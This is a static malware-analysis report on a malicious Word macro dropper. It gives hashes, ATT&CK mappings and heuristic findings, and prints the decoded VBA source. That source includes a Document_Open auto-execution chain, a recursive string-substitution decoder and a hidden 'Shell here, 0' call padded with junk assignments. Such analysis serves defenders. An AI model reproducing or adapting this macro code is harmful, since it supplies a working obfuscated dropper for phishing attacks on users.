Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 03456acb1cd59108…

MALICIOUS

Office (OLE)

63.0 KB Created: 2018-10-04 16:16:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 80e1da7056dfc3fbfa6a8bb5309825be SHA-1: b385aa95e15b3286204f35b43a5daa4712143b1d SHA-256: 03456acb1cd591086282e3356a2978cb95de1ed5d17c00ce982e391c92efdbd2
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The Document_Open macro is configured to execute arbitrary code via a Shell() call. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass macro security. The VBA code appears to be obfuscated, but the presence of the Shell() function and the Document_Open auto-execution strongly indicate it's designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6708338-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6708338-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2977 bytes
SHA-256: af86a481ca9f6a5ab63eb1aaca8b3152cbe7833f0eb7c868783f311db129a2d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Err = "1"
reportErr Err
Err = "2"

End Sub

Attribute VB_Name = "SIGUSR2"
Attribute VB_Base = "0{1EA50D00-66C0-4268-B066-0C94BDD68919}{2DDD85BC-D474-48B6-A23E-66A4693CD65B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub basepath_Change()

fileno = 31
fileno = 67
fileno = 91
fileno = 83
fileno = 82
fileno = 75
fileno = 45
fileno = 30
fileno = 37
fileno = 11
fileno = 43
here = SIGUSR2.basepath
fileno = 85
fileno = 29
fileno = 61
fileno = 100
fileno = 87
fileno = 70
fileno = 18
fileno = 39
fileno = 100
fileno = 88
fileno = 27
fileno = 32
fileno = 32
fileno = 17
fileno = 35
fileno = 51
fileno = 71
fileno = 9
fileno = 50
fileno = 7
fileno = 27
fileno = 21
fileno = 53
fileno = 9
fileno = 26
fileno = 79
fileno = 49
Shell here, 0
fileno = 25
fileno = 45
fileno = 5
fileno = 54
fileno = 50
fileno = 25
fileno = 39
fileno = 54
fileno = 8
fileno = 100
fileno = 36
fileno = 12
End Sub

Private Sub bit_Change()
padLen
End Sub

Attribute VB_Name = "iter"
Public Sub reportErr(violating)
SIGUSR2.bit = violating
End Sub

Attribute VB_Name = "operand"
Public Sub padLen()
er = ""
each4 SIGUSR2.wl, er
SIGUSR2.isAddressOnStack = er
SIGUSR2.basepath = SIGUSR2.isAddressOnStack
End Sub

Attribute VB_Name = "Copyright"
Sub ANSI(callstackArray, distributed, ByRef fpSymGetLineFromAddr64)
fpSymGetLineFromAddr64 = Right(Left(callstackArray, distributed), 1)
End Sub

Sub each4(define, ByRef pSymFunctionTableAccess64)
pSymFunctionTableAccess64 = ""
wild = 1
GetExceptionInformation wild, pSymFunctionTableAccess64, define
End Sub

Sub GetExceptionInformation(ByRef If4, ByRef WITHOUT, in4)
our = Len(in4)
If If4 <= our Then
ar = ""
ANSI in4, If4, ar
cr = 1
consumed ar, cr
wr = ""
when cr - 2, wr
WITHOUT = WITHOUT + wr
If4 = If4 + 1
GetExceptionInformation If4, WITHOUT, in4
End If
End Sub

Sub when(L, ByRef wr)
wr = ""
If L < 1 Then
ANSI SIGUSR2.MINGW32, Len(SIGUSR2.MINGW32) + L, wr
Else
ANSI SIGUSR2.MINGW32, L, wr
End If
End Sub

Sub onlinepubs(ByRef let4, ByRef sigaltstack, LPSTACKFRAME64)
If let4 < Len(SIGUSR2.MINGW32) Then
    ar = ""
    ANSI SIGUSR2.MINGW32, let4, ar
    If LPSTACKFRAME64 <> ar Then
    let4 = let4 + 1
    onlinepubs let4, sigaltstack, LPSTACKFRAME64
    Else
    sigaltstack = let4
    End If
End If
End Sub

Sub consumed(LPSTACKFRAME64, ByRef sigaltstack)
let4 = 1
sigaltstack = 1
onlinepubs let4, sigaltstack, LPSTACKFRAME64
End Sub

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